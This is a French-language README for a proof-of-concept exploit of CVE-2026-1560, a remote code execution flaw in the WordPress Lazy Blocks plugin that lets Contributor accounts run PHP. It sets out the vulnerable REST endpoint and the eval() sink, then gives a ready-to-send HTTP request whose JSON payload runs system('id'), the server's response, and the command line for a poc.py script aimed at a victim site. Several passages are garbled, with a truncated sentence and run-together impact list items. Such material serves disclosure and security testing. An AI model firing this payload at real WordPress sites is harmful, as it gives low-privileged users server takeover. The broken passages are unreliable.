
Exploit de preuve de concept pour CVE-2026-1560, une vulnérabilité d'exécution de code à distance authentifiée dans le plugin WordPress Lazy Blocks, permettant aux utilisateurs à faibles privilèges d'exécuter du code PHP arbitraire via l'API REST.
Chercheur : ZeYrOXxx
Plugin : Custom Block Builder – Lazy Blocks
Versions affectées : ≤ 4.2.0
Sévérité : Élevée
CVSS : 8.8
Type de vulnérabilité : Exécution de code à distance authentifiée (RCE)
Vecteur d'attaque : API REST
Privilège requis : edit_posts (Contributeur+)
Une vulnérabilité de sécurité élevée a été identifiée dans le plugin WordPress Custom Block Builder – Lazy Blocks affectant les versions jusqu'à 4.2.0 inclus.
La vulnérabilité permet à des utilisateurs authentifiés disposant de privilèges faibles (rôle Contributeur) d'exécuter du code PHP arbitraire sur le serveur via un point de terminaison de l'API REST destiné à la fonctionnalité d'aperçu des blocs.
Ce problème brise complètement le modèle de privilèges de WordPress et peut conduire à une .
POST /wp-json/lazy-blocks/v1/block-builder-preview/
Le point de terminaison est accessible à tout utilisateur authentifié disposant de la capacité edit_posts.
La route REST est enregistrée avec un rappel d'autorisation faible :
'permission_callback' => array( $this, 'block_builder_preview_permission' )
Cela inclut les Contributeurs, qui ne devraient jamais être autorisés à exécuter du code PHP.
Contrôleur REST – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
Rendu des blocs – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
La fonction eval() exécute du code PHP contrôlé par l'attaquant sans assainissement ni validation.
Lazy Blocks permet une logique de rendu PHP personnalisée pour les blocs.
Le point de terminaison d'aperçu de l'API REST accepte des définitions de blocs fournies par l'utilisateur et ne fait pas de distinction entre les blocs stockés de confiance et les blocs d'aperçu contrôlés par l'attaquant.
En injectant des attributs de blocs aplatis tels que :
code_output_methodcode_editor_htmlun attaquant peut atteindre le puits d'exécution php_eval() et exécuter du code PHP arbitraire.
Requête :
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
Réponse :
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ Exécution de commande arbitraire confirmée
Cette PoC est fournie strictement à des fins de tests de sécurité et de recherche.
Un attaquant disposant d'un accès Contributeur peut :
wp-config.php)eval() sur les entrées contrôlées par l'utilisateurmanage_options ou unfiltered_htmlrequestsedit_posts (Contributeur+)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
Si la cible est vulnérable, la sortie de la commande sera renvoyée dans la réponse HTTP.
⚠️ Cette preuve de concept est destinée strictement à des tests de sécurité et à des recherches autorisés.